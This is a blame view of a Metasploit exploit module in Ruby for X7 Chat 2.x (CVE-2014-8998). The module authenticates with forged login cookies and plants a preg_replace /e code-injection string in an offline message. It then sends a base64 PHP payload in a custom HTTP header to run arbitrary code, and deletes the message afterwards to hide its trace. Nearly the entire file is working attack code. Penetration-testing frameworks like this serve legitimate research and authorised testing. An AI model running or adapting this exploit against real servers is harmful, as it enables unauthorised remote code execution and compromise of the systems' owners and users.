Files
metasploit-gs/modules/exploits/multi/http/x7chat2_php_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

201 lines
6.2 KiB
Ruby
Raw Normal View History

2014-10-27 01:01:31 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-10-27 01:01:31 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2014-11-03 18:06:09 -06:00
Rank = ExcellentRanking
2014-10-27 19:15:39 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
'Description' => %q{
This module exploits a post-auth vulnerability found in X7 Chat versions
2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
uses preg_replace() function with the /e modifier. This allows a remote
authenticated attacker to execute arbitrary PHP code in the remote machine.
},
'License' => MSF_LICENSE,
'Author' => [
2014-10-27 19:15:39 -05:00
'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
],
2025-06-20 13:20:44 +01:00
'References' => [
[ 'BID', '71014' ],
[ 'CVE', '2014-8998' ],
2014-11-03 18:18:42 -06:00
# Using this URL because isn't nothing else atm
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
],
2025-06-20 13:20:44 +01:00
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Generic (PHP Payload)', {}]],
'DisclosureDate' => '2014-10-27',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
register_options(
2014-10-27 19:15:39 -05:00
[
OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
2025-06-20 13:20:44 +01:00
]
)
2014-10-27 19:15:39 -05:00
end
def check
2014-11-03 18:04:30 -06:00
res = exec_php('phpinfo(); die();', true)
2014-10-27 19:15:39 -05:00
2014-11-03 18:04:30 -06:00
if res && res.body =~ /This program makes use of the Zend/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
2014-10-27 19:15:39 -05:00
end
2014-11-03 18:04:30 -06:00
def exec_php(php_code, is_check = false)
# remove comments, line breaks and spaces of php_code
2014-11-03 18:04:30 -06:00
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
2014-10-27 19:15:39 -05:00
# clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
2014-11-03 18:04:30 -06:00
while Rex::Text.encode_base64(payload_clean) =~ /=/
2025-06-20 13:20:44 +01:00
payload_clean = "#{payload_clean} "
2014-10-27 19:15:39 -05:00
end
2014-11-03 18:04:30 -06:00
payload_b64 = Rex::Text.encode_base64(payload_clean)
2014-10-27 19:15:39 -05:00
2025-06-20 13:20:44 +01:00
cookie_x7c2u = "X7C2U=#{datastore['USERNAME']}"
cookie_x7c2p = "X7C2P=#{Rex::Text.md5(datastore['PASSWORD'])}"
rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
2014-10-27 19:15:39 -05:00
print_status("Trying for version 2.0.2 up to 2.0.5.1")
2025-06-20 13:20:44 +01:00
print_status("Sending offline message (#{rand_text}) to #{datastore['USERNAME']}...")
2014-10-27 19:15:39 -05:00
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
2014-10-27 19:15:39 -05:00
},
'vars_get' => {
# value compatible with 2.0.2 up to 2.0.5.1
2025-06-20 13:20:44 +01:00
'act' => 'user_cp',
2014-10-27 19:15:39 -05:00
'cp_page' => 'msgcenter',
2025-06-20 13:20:44 +01:00
'to' => datastore['USERNAME'],
2014-10-27 19:15:39 -05:00
'subject' => rand_text,
2025-06-20 13:20:44 +01:00
'body' => "#{rand_text}www.{${eval(base64_decode($_SERVER[HTTP_#{rand_text}]))}}.c#{rand_text}",
2014-10-27 19:15:39 -05:00
}
})
2014-11-03 18:04:30 -06:00
unless res && res.code == 200
2025-06-20 13:20:44 +01:00
print_error("Sending the message (#{rand_text}) has failed")
2014-11-03 18:04:30 -06:00
return false
2014-10-27 19:15:39 -05:00
end
2025-06-20 13:20:44 +01:00
if res.body =~ /([0-9]*)">#{rand_text}/
2014-10-28 21:30:08 -05:00
message_id = Regexp.last_match[1]
2014-11-03 18:04:30 -06:00
user_panel = 'user_cp'
2014-10-27 19:15:39 -05:00
else
2025-06-20 13:20:44 +01:00
print_error("Could not find message (#{rand_text}) in the message list")
print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
2025-06-20 13:20:44 +01:00
print_status("Sending offline message (#{rand_text}) to #{datastore['USERNAME']}...")
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
},
'vars_get' => {
# value compatible with 2.0.0 up to 2.0.1 a1
2025-06-20 13:20:44 +01:00
'act' => 'usercp',
'cp_page' => 'msgcenter',
2025-06-20 13:20:44 +01:00
'to' => datastore['USERNAME'],
'subject' => rand_text,
2025-06-20 13:20:44 +01:00
'body' => "#{rand_text}www.{${eval(base64_decode($_SERVER[HTTP_#{rand_text}]))}}.c#{rand_text}",
}
})
2014-11-03 18:04:30 -06:00
unless res && res.code == 200
2025-06-20 13:20:44 +01:00
print_error("Sending the message (#{rand_text}) has failed")
2014-11-03 18:04:30 -06:00
return false
end
2025-06-20 13:20:44 +01:00
if res.body =~ /([0-9]*)">#{rand_text}/
message_id = Regexp.last_match[1]
2014-11-03 18:04:30 -06:00
user_panel = 'usercp'
else
2025-06-20 13:20:44 +01:00
print_error("Could not find message (#{rand_text}) in the message list")
2014-11-03 18:04:30 -06:00
return false
end
2014-10-27 19:15:39 -05:00
end
2025-06-20 13:20:44 +01:00
print_status("Accessing message (#{rand_text})")
print_status("Sending payload in HTTP header '#{rand_text}'")
2014-11-03 18:04:30 -06:00
if is_check
timeout = 20
else
timeout = 3
end
2014-10-27 19:15:39 -05:00
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
2014-11-03 18:04:30 -06:00
rand_text => payload_b64,
2014-10-27 19:15:39 -05:00
},
2025-06-20 13:20:44 +01:00
'vars_get' => {
'act' => user_panel,
2014-10-27 19:15:39 -05:00
'cp_page' => 'msgcenter',
2025-06-20 13:20:44 +01:00
'read' => message_id,
2014-10-27 19:15:39 -05:00
}
2014-11-03 18:04:30 -06:00
}, timeout)
2014-10-27 19:15:39 -05:00
res_payload = res
2025-06-20 13:20:44 +01:00
print_status("Deleting message (#{rand_text})")
2014-10-27 19:15:39 -05:00
res = send_request_cgi({
2025-06-20 13:20:44 +01:00
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {
'Cookie' => "#{cookie_x7c2u}; #{cookie_x7c2p};",
2014-10-27 19:15:39 -05:00
},
'vars_get' => {
2025-06-20 13:20:44 +01:00
'act' => user_panel,
2014-10-27 19:15:39 -05:00
'cp_page' => 'msgcenter',
2025-06-20 13:20:44 +01:00
'delete' => message_id,
2014-10-27 19:15:39 -05:00
}
})
if res && res.body =~ /The message has been deleted/
2025-06-20 13:20:44 +01:00
print_good("Message (#{rand_text}) removed")
2014-10-27 19:15:39 -05:00
else
2025-06-20 13:20:44 +01:00
print_error("Removing message (#{rand_text}) has failed")
2014-11-03 18:04:30 -06:00
return false
2014-10-27 19:15:39 -05:00
end
# if check return the response
2014-11-03 18:04:30 -06:00
if is_check
2014-10-27 19:15:39 -05:00
return res_payload
2014-11-03 18:04:30 -06:00
else
return true
2014-10-27 19:15:39 -05:00
end
end
def exploit
2014-11-03 18:04:30 -06:00
unless exec_php(payload.encoded)
fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
end
2014-10-27 19:15:39 -05:00
end
2014-10-27 01:01:31 -05:00
end